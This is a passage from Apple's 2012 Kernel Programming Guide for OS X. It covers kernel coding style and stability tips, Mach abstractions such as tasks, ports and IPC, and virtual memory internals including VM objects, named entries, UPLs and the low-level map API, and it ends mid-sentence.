IOLog, IOMemoryDescriptor, and IOLock. While using the lower-level functionality is not expressly forbidden, it is generally discouraged (though printf is always fine). For more information about APIs available to I/O Kit KEXTs, see Kernel Framework Reference . Table 7-1 (page 49) lists some commonly used C functions, variables, and types, and gives the location of their prototypes. Table 7-1 Commonly used C functions Function name Header path printf Buffer cache functions (bread, bwrite, and brelse) Directory entries Error numbers Kernel special variables Spinlocks malloc Queues Random number generator bzero, bcopy, copyin, and copyout timeout and untimeout Various time functions Standard type declarations User credentials OS and system information If the standard C function you are trying to use is not in one of these files, chances are the function is not supported for use within the kernel, and you need to implement your code in another way. Kernel Programming Style Commonly Used Functions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 49The symbols in these header files are divided among multiple symbol sets, depending on the technology area where they were designed to be used. To use these, you may have to declare dependencies on any of the following: ● com.apple.kernel—You should generally avoid this. ● com.apple.kernel.bsd—BSD portions of the kernel. ● com.apple.kernel.iokit—The I/O Kit. ● com.apple.kernel.libkern—General-purpose functions. ● com.apple.kernel.mach—Mach-specific APIs. ● com.apple.kpi.bsd—BSD portions of the kernel (v10.4 and later). ● com.apple.kernel.iokit—The I/O Kit (v10.4 and later). ● com.apple.kernel.libkern—General-purpose functions (v10.4 and later). ● com.apple.kernel.mach—Mach-specific APIs (v10.4 and later). ● com.apple.kpi.unsupported—Unsupported legacy functionality (v10.4 and later). Where possible, you should specify a dependency on the KPI version of these symbols. However, these symbols are only available in v10.4 and later. For the I/O Kit and libkern, this should make little difference. For other areas, such as network kernel extensions or file system KEXTs, you must use the KPI versions if you want your extension to load in OS X v10.4 and later. For a complete list of symbols in any of these dependencies, run nm on the binaries in /System/Library/Extensions/System.kext/PlugIns. Performance and Stability Tips This section includes some basic tips on performance and stability. You should read the sections on security and performance for additional information. These tips cover only style issues, not general performance or stability issues. Performance and Stability Tips Programming in the kernel is subject to a number of restrictions that do not exist in application programming. The first and most important is the stack size. The kernel has a limited amount of space allocated for thread stacks, which can cause problems if you aren’t aware of the limitation. This means the following: ● Recursion must be bounded (to no more than a few levels). ● Recursion should be rewritten as iterative routines where possible. Kernel Programming Style Performance and Stability Tips 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 50● Large stack variables(function local) are dangerous. Do not use them. This also appliesto large local arrays. ● Dynamically allocated variables are preferred (using malloc or equivalent) over local variables for objects more than a few bytes in size. ● Functions should have as few arguments as possible. ● Pass pointers to structures, not the broken out elements. ● Don’t use arguments to avoid using global or class variables. ● Do name global variables in a way that protects you from collision. ● C++ functions should be declared static. ● Functions not obeying these rules can cause a kernel panic, or in extreme cases, do not even compile. In addition to issues of stack size, you should also avoid doing anything that would generate unnecessary load such as polling a device or address. A good example is the use of mutexes rather than spinlocks. You should also structure your locks in such a way to minimize contention and to minimize hold times on the most highly contended locks. Also, since unused memory (and particularly wired memory) can cause performance degradation, you should be careful to deallocate memory when it is no longer in use, and you should never allocate large regions of wired memory. This may be unavoidable in some applications, but should be avoided whenever possible and disposed of at the earliest possible opportunity. Allocating large contiguous blocks of memory at boot time is almost never acceptable, because it cannot be released. There are a number of issues that you should consider when deciding whether to use floating point math or AltiVec vector math in the kernel. First, the kernel takes a speed penalty whenever floating-point math or AltiVec instructions are used in a system call context (or other similar mechanisms where a user thread executes in a kernel context), as floating-point and AltiVec registers are only maintained when they are in use. Note: In cases where altivec or floating point has already been used in user space in the calling thread, there is no additional penalty for using them in the kernel. Thus, for things like audio drivers, the above does not apply. In general, you should avoid doing using floating-point math or AltiVec instructions in the kernel unless doing so will result in a significant speedup. It is not forbidden, but is strongly discouraged. Second, AltiVec was not supported in the kernel prior to OS X v10.3. It was not possible to detect this support from within the kernel until a later 10.3 software update. If you must deploy your KEXT on earlier versions of OS X, you must either provide a non-AltiVec version of your code or perform the AltiVec instructions in user space. Kernel Programming Style Performance and Stability Tips 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 51Finally, AltiVec data stream instructions (dst, dstt, dstst, dss, and dssall) are not supported in the kernel, even for processors that support them in user space. Do not attempt to use them. If you decide to use AltiVec in the kernel, your code can determine whether the CPU supports AltiVec using the sysctlbyname call to get the hw.optional.altivec property. For more information, see “The sysctlbyname System Call” (page 123). Stability Tips ● Don’tsleep while holding resources(locks, for example). While thisis not forbidden, it isstrongly discouraged to avoid deadlock. ● Be careful to allocate and free memory with matching calls. For example, do not use allocation routines from the I/O Kit and deallocation routines from BSD. Likewise, do not use IOMallocContiguous with IOFreePageable. ● Use reference counts to avoid freeing memory that is still in use elsewhere. Be sure to deallocate memory when its reference count reaches zero, but not before. ● Lock objects before operating on them, even to change reference counts. ● Never dereference pointers without verifying that they are not NULL. In particular, never do this: int foo = *argptr; unless you have already verified that argptr cannot possibly be NULL. ● Test code in sections and try to think up likely edge cases for calculations. ● Never assume that your code will be run only on big endian processors. ● Never assume that the size of an instance of a type will never change. Always use sizeof if you need this information. ● Never assume that a pointer will always be the same size as an int or long. Style Summary Kernel programming style is very much a matter of personal preference, and it is not practical to programmatically enforce the guidelines in this chapter. However, we strongly encourage you to follow these guidelines to the maximum extent possible. These guidelines were created based on frequent problems reported by developers writing code in the kernel. No one can force you to use good style in your programming, but if you do not, you do so at your own peril. Kernel Programming Style Style Summary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 52The fundamental services and primitives of the OS X kernel are based on Mach 3.0. Apple has modified and extended Mach to better meet OS X functional and performance goals. Mach 3.0 was originally conceived as a simple, extensible, communications microkernel. It is capable of running as a stand–alone kernel, with other traditional operating-system servicessuch asI/O, file systems, and networking stacks running as user-mode servers. However, in OS X, Mach is linked with other kernel components into a single kernel address space. This is primarily for performance; it is much faster to make a direct call between linked components than it is to send messages or do remote procedure calls (RPC) between separate tasks. This modular structure results in a more robust and extensible system than a monolithic kernel would allow, without the performance penalty of a pure microkernel. Thusin OS X, Mach is not primarily a communication hub between clients and servers. Instead, its value consists of its abstractions, its extensibility, and its flexibility. In particular, Mach provides ● object-based APIs with communication channels (for example, ports) as object references ● highly parallel execution, including preemptively scheduled threads and support for SMP ● a flexible scheduling framework, with support for real-time usage ● a complete set of IPC primitives, including messaging, RPC, synchronization, and notification ● support for large virtual addressspaces,shared memory regions, and memory objects backed by persistent store ● proven extensibility and portability, for example across instruction set architectures and in distributed environments ● security and resource management as a fundamental principle of design; all resources are virtualized Mach Kernel Abstractions Mach provides a small set of abstractions that have been designed to be both simple and powerful. These are the main kernel abstractions: ● Tasks. The units of resource ownership; each task consists of a virtual addressspace, a portright namespace, and one or more threads. (Similar to a process.) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 53 Mach Overview● Threads. The units of CPU execution within a task. ● Address space. In conjunction with memory managers, Mach implements the notion of a sparse virtual address space and shared memory. ● Memory objects. The internal units of memory management. Memory objectsinclude named entries and regions; they are representations of potentially persistent data that may be mapped into address spaces. ● Ports. Secure, simplex communication channels, accessible only via send and receive capabilities (known as port rights). ● IPC. Message queues, remote procedure calls, notifications, semaphores, and lock sets. ● Time. Clocks, timers, and waiting. At the trap level, the interface to most Mach abstractions consists of messages sent to and from kernel ports representing those objects. The trap-level interfaces (such as mach_msg_overwrite_trap) and message formats are themselves abstracted in normal usage by the Mach Interface Generator (MIG). MIG is used to compile procedural interfaces to the message-based APIs, based on descriptions of those APIs. Tasks and Threads OS X processes and POSIX threads (pthreads) are implemented on top of Mach tasks and threads, respectively. A thread is a point of control flow in a task. A task exists to provide resources for the threads it contains. This split is made to provide for parallelism and resource sharing. A thread ● is a point of control flow in a task. ● has access to all of the elements of the containing task. ● executes (potentially) in parallel with other threads, even threads within the same task. ● has minimal state information for low overhead. A task ● is a collection ofsystem resources. These resources, with the exception of the addressspace, are referenced by ports. These resources may be shared with other tasks if rights to the ports are so distributed. ● provides a large, potentially sparse address space, referenced by virtual address. Portions of this space may be shared through inheritance or external memory management. ● contains some number of threads. Mach Overview Tasks and Threads 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 54Note that a task has no life of its own—only threads execute instructions. When it is said that “task Y does X,” what is really meant is that “a thread contained within task Y does X.” A task is a fairly expensive entity. It exists to be a collection of resources. All of the threads in a task share everything. Two tasks share nothing without an explicit action (although the action is often simple) and some resources (such as port receive rights) cannot be shared between two tasks at all. A thread is a fairly lightweight entity. It is fairly cheap to create and has low overhead to operate. This is true because a thread has little state information (mostly its register state). Its owning task bears the burden of resource management. On a multiprocessor computer, it is possible for multiple threads in a task to execute in parallel. Even when parallelism is not the goal, multiple threads have an advantage in that each thread can use a synchronous programming style, instead of attempting asynchronous programming with a single thread attempting to provide multiple services. A thread is the basic computational entity. A thread belongs to one and only one task that defines its virtual address space. To affect the structure of the address space or to reference any resource other than the address space, the thread must execute a special trap instruction that causesthe kernel to perform operations on behalf of the thread or to send a message to some agent on behalf of the thread. In general, these traps manipulate resources associated with the task containing the thread. Requests can be made of the kernel to manipulate these entities: to create them, delete them, and affect their state. Mach provides a flexible framework for thread–scheduling policies. Early versions of OS X support both time-sharing and fixed-priority policies. A time-sharing thread’s priority is raised and lowered to balance its resource consumption against other time-sharing threads. Fixed-priority threads execute for a certain quantum of time, and then are put at the end of the queue of threads of equal priority. Setting a fixed priority thread’s quantum level to infinity allows the thread to run until it blocks, or until it is preempted by a thread of higher priority. High priority real-time threads are usually fixed priority. OS X also provides time constraint scheduling for real-time performance. This scheduling allows you to specify that your thread must get a certain time quantum within a certain period of time. Mach scheduling is described further in “Mach Scheduling and Thread Interfaces” (page 77). Ports, Port Rights, Port Sets, and Port Namespaces With the exception of the task’s virtual address space, all other Mach resources are accessed through a level of indirection known as a port. A port is an endpoint of a unidirectional communication channel between a client who requests a service and a server who providesthe service. If a reply isto be provided to such a service request, a second port must be used. This is comparable to a (unidirectional) pipe in UNIX parlance. Mach Overview Ports, Port Rights, Port Sets, and Port Namespaces 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 55In most cases, the resource that is accessed by the port (that is, named by it) is referred to as an object. Most objects named by a port have a single receiver and (potentially) multiple senders. That is, there is exactly one receive port, and at least one sending port, for a typical object such as a message queue. The service to be provided by an object is determined by the manager that receives the request sent to the object. It follows that the kernel is the receiver for ports associated with kernel-provided objects and that the receiver for ports associated with task-provided objects is the task providing those objects. For ports that name task-provided objects, it is possible to change the receiver of requests for that port to a different task, for example by passing the port to that task in a message. A single task may have multiple ports that refer to resources it supports. For that matter, any given entity can have multiple ports that represent it, each implying different sets of permissible operations. For example, many objects have a name port and a control port (sometimes called the privileged port). Access to the control port allows the object to be manipulated; access to the name port simply names the object so that you can obtain information about it or perform other non-privileged operations against it. Tasks have permissions to access ports in certain ways (send, receive, send-once); these are called port rights. A port can be accessed only via a right. Ports are often used to grant clients access to objects within Mach. Having the right to send to the object’sIPC port denotesthe right to manipulate the object in prescribed ways. As such, port right ownership is the fundamental security mechanism within Mach. Having a right to an object is to have a capability to access or manipulate that object. Port rights can be copied and moved between tasks via IPC. Doing so, in effect, passes capabilities to some object or server. One type of object referred to by a port is a port set. As the name suggests, a port set is a set of port rights that can be treated as a single unit when receiving a message or event from any of the members of the set. Port sets permit one thread to wait on a number of message and event sources, for example in work loops. Traditionally in Mach, the communication channel denoted by a port was always a queue of messages. However, OS X supports additional types of communication channels, and these new types of IPC object are also represented by ports and port rights. See the section “Interprocess Communication (IPC)” (page 58), for more details about messages and other IPC types. Ports and port rights do not have systemwide names that allow arbitrary ports or rights to be manipulated directly. Ports can be manipulated by a task only if the task has a port right in its port namespace. A port right is specified by a port name, an integer index into a 32-bit port namespace. Each task has associated with it a single port namespace. Tasks acquire port rights when another task explicitly insertsthem into its namespace, when they receive rights in messages, by creating objects that return a right to the object, and via Mach calls for certain special ports (mach_thread_self, mach_task_self, and mach_reply_port.) Mach Overview Ports, Port Rights, Port Sets, and Port Namespaces 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 56Memory Management As with most modern operating systems, Mach provides addressing to large, sparse, virtual address spaces. Runtime access is made via virtual addresses that may not correspond to locations in physical memory at the initial time of the attempted access. Mach is responsible for taking a requested virtual address and assigning it a corresponding location in physical memory. It does so through demand paging. A range of a virtual address space is populated with data when a memory object is mapped into that range. All data in an addressspace is ultimately provided through memory objects. Mach asksthe owner of a memory object (a pager) for the contents of a page when establishing it in physical memory and returns the possibly modified data to the pager before reclaiming the page. OS X includes two built-in pagers—the default pager and the vnode pager. The default pager handles nonpersistent memory, known as anonymous memory. Anonymous memory is zero-initialized, and it exists only during the life of a task. The vnode pager maps files into memory objects. Mach exports an interface to memory objects to allow their contents to be contributed by user-mode tasks. This interface is known as the External Memory Management Interface, or EMMI. The memory management subsystem exports virtual memory handles known as named entries or named memory entries. Like most kernel resources, these are denoted by ports. Having a named memory entry handle allows the owner to map the underlying virtual memory object or to pass the right to map the underlying object to others. Mapping a named entry in two different tasks results in a shared memory window between the two tasks, thus providing a flexible method for establishing shared memory. Beginning in OS X v10.1, the EMMI system was enhanced to support “portless” EMMI. In traditional EMMI, two Mach ports were created for each memory region, and likewise two ports for each cached vnode. Portless EMMI, in its initial implementation, replaces this with direct memory references (basically pointers). In a future release, ports will be used for communication with pagers outside the kernel, while using direct references for communication with pagers that reside in kernel space. The net result of these changes is that early versions of portless EMMI do not support pagers running outside of kernel space. This support is expected to be reinstated in a future release. Addressranges of virtual memory space may also be populated through direct allocation (using vm_allocate). The underlying virtual memory object is anonymous and backed by the default pager. Shared ranges of an address space may also be set up via inheritance. When new tasks are created, they are cloned from a parent. This cloning pertains to the underlying memory address space as well. Mapped portions of objects may be inherited as a copy, or asshared, or not at all, based on attributes associated with the mappings. Mach practices a form of delayed copy known as copy-on-write to optimize the performance of inherited copies on task creation. Mach Overview Memory Management 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 57Rather than directly copying the range, a copy-on-write optimization is accomplished by protected sharing. The two tasks share the memory to be copied, but with read-only access. When either task attempts to modify a portion of the range, that portion is copied at that time. Thislazy evaluation of memory copiesis an important optimization that permits simplifications in several areas, notably the messaging APIs. One other form of sharing is provided by Mach, through the export of named regions. A named region is a form of a named entry, but instead of being backed by a virtual memory object, it is backed by a virtual map fragment. This fragment may hold mappings to numerous virtual memory objects. It is mappable into other virtual maps, providing a way of inheriting not only a group of virtual memory objects but also their existing mapping relationships. This feature offers significant optimization in task setup, for example when sharing a complex region of the address space used for shared libraries. Interprocess Communication (IPC) Communication between tasksis an important element of the Mach philosophy. Mach supports a client/server system structure in which tasks(clients) accessservices by making requests of other tasks(servers) via messages sent over a communication channel. The endpoints of these communication channels in Mach are called ports, while port rights denote permission to use the channel. The forms of IPC provided by Mach include ● message queues ● semaphores ● notifications ● lock sets ● remote procedure calls (RPCs) The type of IPC object denoted by the port determines the operations permissible on that port, and how (and whether) data transfer occurs. Important: The IPC facilities in OS X are in a state of transition. In early versions of the system, not all of these IPC types may be implemented. There are two fundamentally different Mach APIs for raw manipulation of ports—the mach_ipc family and the mach_msg family. Within reason, both families may be used with any IPC object; however, the mach_ipc calls are preferred in new code. The mach_ipc calls maintain state information where appropriate in order to support the notion of a transaction. The mach_msg calls are supported for legacy code but deprecated; they are stateless. Mach Overview Interprocess Communication (IPC) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 58IPC Transactions and Event Dispatching When a thread calls mach_ipc_dispatch, it repeatedly processes events coming in on the registered port set. These events could be an argument block from an RPC object (as the results of a client’s call), a lock object being taken (as a result of some other thread’s releasing the lock), a notification or semaphore being posted, or a message coming in from a traditional message queue. These events are handled via callouts from mach_msg_dispatch. Some events imply a transaction during the lifetime of the callout. In the case of a lock, the state is the ownership of the lock. When the callout returns, the lock is released. In the case of remote procedure calls, the state is the client’s identity, the argument block, and the reply port. When the callout returns, the reply is sent. When the callout returns, the transaction (if any) is completed, and the thread waits for the next event. The mach_ipc_dispatch facility is intended to support work loops. Message Queues Originally, the sole style of interprocess communication in Mach was the message queue. Only one task can hold the receive right for a port denoting a message queue. This one task is allowed to receive (read) messages from the port queue. Multiple tasks can hold rights to the port that allow them to send (write) messages into the queue. A task communicates with another task by building a data structure that contains a set of data elements and then performing a message-send operation on a port for which it holds send rights. At some later time, the task with receive rights to that port will perform a message-receive operation. A message may consist of some or all of the following: ● pure data ● copies of memory ranges ● port rights ● kernel implicit attributes, such as the sender’s security token The message transfer is an asynchronous operation. The message is logically copied into the receiving task, possibly with copy-on-write optimizations. Multiple threads within the receiving task can be attempting to receive messages from a given port, but only one thread can receive any given message. Semaphores Semaphore IPC objects support wait, post, and post all operations. These are counting semaphores, in that posts are saved (counted) if there are no threads currently waiting in that semaphore’s wait queue. A post all operation wakes up all currently waiting threads. Mach Overview Interprocess Communication (IPC) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 59Notifications Like semaphores, notification objects also support post and wait operations, but with the addition of a state field. The state is a fixed-size, fixed-format field that is defined when the notification object is created. Each post updates the state field; there is a single state that is overwritten by each post. Locks A lock is an object that provides mutually exclusive access to a critical section. The primary interfaces to locks are transaction oriented (see “IPC Transactions and Event Dispatching” (page 59)). During the transaction, the thread holds the lock. When it returns from the transaction, the lock is released. Remote Procedure Call (RPC) Objects As the name implies, an RPC object is designed to facilitate and optimize remote procedure calls. The primary interfaces to RPC objects are transaction oriented (see “IPC Transactions and Event Dispatching” (page 59)) When an RPC object is created, a set of argument block formats is defined. When an RPC (a send on the object) is made by a client, it causes a message in one of the predefined formats to be created and queued on the object, then eventually passed to the server (the receiver). When the server returns from the transaction, the reply isreturned to the sender. Mach triesto optimize the transaction by executing the server using the client’s resources; this is called thread migration. Time Management The traditional abstraction of time in Mach is the clock, which provides a set of asynchronous alarm services based on mach_timespec_t. There are one or more clock objects, each defining a monotonically increasing time value expressed in nanoseconds. The real-time clock is built in, and is the most important, but there may be other clocksfor other notions of time in the system. Clockssupport operationsto get the current time,sleep for a given period, set an alarm (a notification that is sent at a given time), and so forth. The mach_timespec_t API is deprecated in OS X. The newer and preferred API is based on timer objects that in turn use AbsoluteTime as the basic data type. AbsoluteTime is a machine-dependent type, typically based on the platform-native time base. Routines are provided to convert AbsoluteTime values to and from other data types,such as nanoseconds. Timer objectssupport asynchronous, drift-free notification, cancellation, and premature alarms. They are more efficient and permit higher resolution than clocks. Mach Overview Time Management 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 60This chapter describes allocating memory and the low-level routinesfor modifying memory mapsin the kernel. It also describes a number of commonly used interfaces to the virtual memory system. It does not describe how to make changes in paging policy or add additional pagers. OS X does not support external pagers, although much of the functionality can be achieved in other ways, some of which are covered at a high level in this chapter. The implementation details of these interfaces are subject to change, however, and are thus left undocumented. With the exception of the section “Allocating Memory in the Kernel” (page 73), this chapter is of interest only if you are writing file systems or are modifying the virtual memory system itself. OS X VM Overview The VM system used in OS X is a descendent of Mach VM, which was created at Carnegie Mellon University in the 1980s. To a large extent, the fundamental design is the same, although some of the details are different, particularly when enhancing the VM system. It does, however, support the ability to request certain paging behavior through the use of universal page lists (UPLs). See “Universal Page Lists (UPLs)” (page 65) for more information. The design of Mach VM centers around the concept of physical memory being a cache for virtual memory. At its highest level, Mach VM consists of address spaces and ways to manipulate the contents of those address spaces from outside the space. These address spaces are sparse and have a notion of protections to limit what tasks can access their contents. At a lower level, the object level, virtual memory is seen as a collection of VM objects and memory objects, each with a particular owner and protections. These objects can be modified with object callsthat are available both to the task and (via the back end of the VM) to the pagers. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 61 Memory and Virtual MemoryNote: While memory objects and VM objects are closely related, the terms are not equivalent and should not be confused. .A VM object can be backed by one or more memory objects, which are, in turn, managed by a pager. A VM object may also be partially backed by other VM objects, as occurs in the case of shadow chains (described later in this section). The VM object is internal to the virtual memory system, and includes basic information about accessing the memory. The memory object, by contrast, is provided by the pager. The contents of the memory associated with that memory object can be retrieved from disk or some other backing store by exchanging messages with the memory object. Implicitly, each VM object is associated with a given pager through its memory object. VM objects are cached with system pages (RAM), which can be any power of two multiple of the hardware page size. In the OS X kernel,system pages are the same size as hardware pages. Each system page isrepresented in a given address space by a map entry. Each map entry has its own protection and inheritance. A given map entry can have an inheritance of shared, copy, or none. If a page is marked shared in a given map, child tasks share this page for reading and writing. If a page is marked copy, child tasks get a copy of this page (using copy-on-write). If a page is marked none, the child’s page is left unallocated. VM objects are managed by the machine-independent VM system, with the underlying virtual to physical mappings handled by the machine-dependent pmap system. The pmap system actually handles page tables, translation lookaside buffers, segments, and so on, depending on the design of the underlying hardware. When a VM object is duplicated (for example, the data pages from a process that has just called fork), a shadow object is created. A shadow object isinitially empty, and contains a reference to another object. When the contents of a page are modified, the page is copied from the parent object into the shadow object and then modified. When reading data from a page, if that page exists in the shadow object, the page listed in the shadow object is used. If the shadow object has no copy of that page, the original object is consulted. A series of shadow objects pointing to shadow objects or original objects is known as a shadow chain. Shadow chains can become arbitrarily long if an object is heavily reused in a copy-on-write fashion. However, since fork is frequently followed by exec, which replaces all of the material being shadowed, long chains are rare. Further, Mach automatically garbage collectsshadow objects, removing any intermediate shadow objects whose pages are no longer referenced by any (nondefunct) shadow object. It is even possible for the original object to be released if it no longer contains pages that are relevant to the chain. The VM calls available to an application include vm_map and vm_allocate, which can be used to map file data or anonymous memory into the address space. This is possible only because the address space is initially sparse. In general, an application can either map a file into its address space (through file mapping primitives, abstracted by BSD) or it can map an object (after being passed a handle to that object). In addition, a task can change the protections of the objects in its address space and can share those objects with other tasks. Memory and Virtual Memory OS X VM Overview 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 62In addition to the mapping and allocation aspects of virtual memory, the VM system contains a number of other subsystems. These include the back end (pagers) and the shared memory subsystem. There are also other subsystems closely tied to VM, including the VM shared memory server. These are described in “Other VM and VM-Related Subsystems” (page 68). Memory Maps Explained Each Mach task has its own memory map. In Mach, this memory map takes the form of an ordered doubly linked list. As described in “OS X VM Overview” (page 61), each of these objects contains a list of pages and shadow references to other objects. In general, you should never need to access a memory map directly unless you are modifying something deep within the VM system. The vm_map_entry structure contains task-specific information about an individual mapping along with a reference to the backing object. In essence, it is the glue between an VM object and a VM map. While the details of this data structure are beyond the scope of this document, a few fields are of particular importance. The field is_submap is a Boolean value that tells whether this map entry is a normal VM object or a submap. A submap is a collection of mappings that is part of a larger map. Submaps are often used to group mappings together for the purpose ofsharing them among multiple Mach tasks, but they may be used for many purposes. What makes a submap particularly powerful is that when several tasks have mapped a submap into their address space, they can see each other’s changes, not only to the contents of the objects in the map, but to the objects themselves. This means that as additional objects are added to or deleted from the submap, they appear in or disappear from the address spaces of all tasks that share that submap. The field behavior controls the paging reference behavior of a specified range in a given map. This value changes how pageins are clustered. Possible values are VM_BEHAVIOR_DEFAULT, VM_BEHAVIOR_RANDOM, VM_BEHAVIOR_SEQUENTIAL, and VM_BEHAVIOR_RSEQNTL, for default,random,sequential, orreverse-sequential pagein ordering. The protection and max_protection fields control the permissions on the object. The protection field indicates what rights the task currently has for the object, while the max_protection field contains the maximum access that the current task can obtain for the object. You might use the protection field when debugging shared memory. By setting the protection to be read-only, any inadvertent writes to the shared memory would cause an exception. However, when the task actually needsto write to thatshared region, it could increase its permissionsin the protection field to allow writes. Memory and Virtual Memory Memory Maps Explained 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 63It would be a security hole if a task could increase its own permissions on a memory object arbitrarily, however. In order to preserve a reasonable security model, the task that owns a memory object must be able to limit the rights granted to a subordinate task. For this reason, a task is not allowed to increase its protection beyond the permissions granted in max_protection. Possible valuesfor protection and max_protection are described in detail in xnu/osfmk/mach/vm_prot.h. Finally, the use_pmap field indicates whether a submap’s low-level mappings should be shared among all tasksinto which the submap is mapped. If the mappings are notshared, then the structure of the map isshared among all tasks, but the actual contents of the pages are not. For example,shared libraries are handled with two submaps. The read-only shared code section has use_pmap set to true. The read-write (nonshared) section has use_pmap set to false, forcing a clean copy of the library’s DATA segment to be mapped in from disk for each new task. Named Entries The OS X VM system provides an abstraction known as a named entry. A named entry is nothing more than a handle to a shared object or a submap. Shared memory support in OS X is achieved by sharing objects between the memory maps of various tasks. Shared memory objects must be created from existing VM objects by calling vm_allocate to allocate memory in your address space and then calling mach_make_memory_entry_64 to get a handle to the underlying VM object. The handle returned by mach_make_memory_entry_64 can be passed to vm_map to map that object into a given task’s address space. The handle can also be passed via IPC or other means to other tasks so that they can map it into their address spaces. This provides the ability to share objects with tasks that are not in your direct lineage, and also allows you to share additional memory with tasks in your direct lineage after those tasks are created. The other form of named entry, the submap, is used to group a set of mappings. The most common use of a submap is to share mappings among multiple Mach tasks. A submap can be created with vm_region_object_create. What makes a submap particularly powerful is that when several tasks have mapped a submap into their address space, they can see each other’s changes to both the data and the structure of the map. This means that one task can map or unmap a VM object in another task’s addressspace simply by mapping or unmapping that object in the submap. Memory and Virtual Memory Named Entries 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 64Universal Page Lists (UPLs) A universal page list, or UPL, is a data structure used when communicating with the virtual memory system. UPLs can be used to change the behavior of pages with respect to caching, permissions, mapping, and so on. UPLs can also be used to push data into and pull data from VM objects. The term is also often used to refer to the family of routines that operate on UPLs. The flags used when dealing with UPLs are described in osfmk/mach/memory_object_types.h. The life cycle of a UPL looks like this: 1. A UPL is created based on the contents of a VM object. This UPL includes information about the pages within that object. 2. That UPL is modified in some way. 3. The changes to the UPL are either committed (pushed back to the VM system) or aborted, with ubc_upl_commit or ubc_upl_abort, respectively. If you have a control handle for a given VM object (which generally means that you are inside a pager), you can use vm_object_upl_request to get a UPL for that object. Otherwise, you must use the vm_map_get_upl call. In either case, you are left with a handle to the UPL. When a pagein is requested, the pager receives a list of pages that are locked against the object, with certain pages set to not valid. The pager must either write data into those pages or must abort the transaction to prevent invalid data in the kernel. Similarly in pageout, the kernel must write the data to a backing store or abort the transaction to prevent data loss. The pager may also elect to bring additional pages into memory or throw additional pages out of memory at its discretion. Because pagers can be used both for virtual memory and for memory mapping of file data, when a pageout is requested, the data may need to be freed from memory, or it may be desirable to keep it there and simply flush the changes to disk. For this reason, the flag UPL_CLEAN_IN_PLACE exists to allow a page to be flushed to disk but not removed from memory. When a pager decides to page in or out additional pages, it must determine which pages to move. A pager can request all of the dirty pages by setting the RETURN_ONLY_DIRTY flag. It can also request all pages that are not in memory using the RETURN_ONLY_ABSENT flag. There is a slight problem, however. If a given page is marked as BUSY in the UPL, a request for information on that page would normally block. If the pager is doing prefetching or preflushing, this is not desirable, since it might be blocking on itself or on some other pager that is blocked waiting for the current transaction to complete. To avoid such deadlock, the UPL mechanism provides the UPL_NOBLOCK flag. This is frequently used in the anonymous pager for requesting free memory. Memory and Virtual Memory Universal Page Lists (UPLs) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 65The flag QUERY_OBJECT_TYPE can be used to determine if an object is physically contiguous and to get other properties of the underlying object. The flag UPL_PRECIOUS means that there should be only one copy of the data. This prevents having a copy both in memory and in the backing store. However, this breaks the adjacency of adjacent pages in the backing store, and is thus generally not used to avoid a performance hit. The flag SET_INTERNAL is used by the BSD subsystem to cause all information about a UPL to be contained in a single memory object so that it can be passed around more easily. It can only be used if your code is running in the kernel’s address space. Since this handle can be used for multiple small transactions (for example, when mapping a file into memory block-by-block), the UPL API includes functions for committing and aborting changes to only a portion of the UPL. These functions are upl_commit_range and upl_abort_range, respectively. To aid in the use of UPLsfor handling multi-part transactions, the upl_commit_range and upl_abort_range calls have a flag that causes the UPL to be freed when there are no unmodified pages in the UPL. If you use this flag, you must be very careful not to use the UPL after all ranges have been committed or aborted. Finally, the function vm_map_get_upl is frequently used in file systems. It gets the underlying VM object associated with a given range within an address space. Since this returns only the first object in that range, it is your responsibility to determine whether the entire range is covered by the resulting UPL and, if not, to make additional calls to get UPLs for other objects. Note that while the vm_map_get_upl call is against an address space range, most UPL calls are against a vm_object. Using Mach Memory Maps Warning: Thissection describesthe low-level API for dealing with Mach VM maps. These maps cannot be modified in this way from a kernel extension. These functions are not available for use in a KEXT. They are presented strictly for use within the VM system and other parts of Mach. If you are not doing in-kernel development, you should be using the methods described in the chapter “Boundary Crossings” (page 109). From the context of the kernel (not from a KEXT), there are two maps that you will probably need to deal with. The first is the kernel map. Since your code is executing in the kernel’s address space, no additional effort is needed to use memory referenced in the kernel map. However, you may need to add additional mappings into the kernel map and remove them when they are no longer needed. Memory and Virtual Memory Using Mach Memory Maps 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 66The second map of interest is the memory map for a given task. This is of most interest for code that accepts input from user programs, for example a sysctl or a Mach RPC handler. In nearly all cases, convenient wrappers provide the needed functionality, however. Most of these functions are based around the vm_offset_t type, which is a pointer-sized integer. In effect, you can think of them as pointers, with the caveat that they are not necessarily pointers to data in the kernel’s address space, depending on usage. The low-level VM map API includes the following functions: kern_return_t vm_map_copyin(vm_map_t src_map, vm_offset_t src_addr, vm_size_t len, boolean_t src_destroy, vm_map_copy_t *copy_result); kern_return_t vm_map_copyout(vm_map_t map, vm_offset_t *addr, /* Out */ register vm_map_copy_t copy); kern_return_t vm_map_copy_overwrite(vm_map_t dst_map, vm_offset_t dst_address,vm_map_copy_t copy, boolean_t interruptible, pmap_t pmap); void vm_map_copy_discard(vm_map_copy_t copy); void vm_map_wire(vm_map_t map, vm_offset_t start, vm_offset_t end, vm_prot_t access_type, boolean_t user_wire); void vm_map_unwire(vm_map_t map, vm_offset_t start, vm_offset_t end, boolean_t user_wire); The function vm_map_copyin copies data from an arbitrary (potentially non–kernel) memory map into a copy list and returns the copy list pointer in copy_result. If something goes wrong and you need to throw away this intermediate object, it should be freed with vm_map_copy_discard. In order to actually get the data from the copy list, you need to overwrite a memory object in the kernel’s address space with vm_map_copy_overwrite. This overwrites an object with the contents of a copy list. For most purposes, 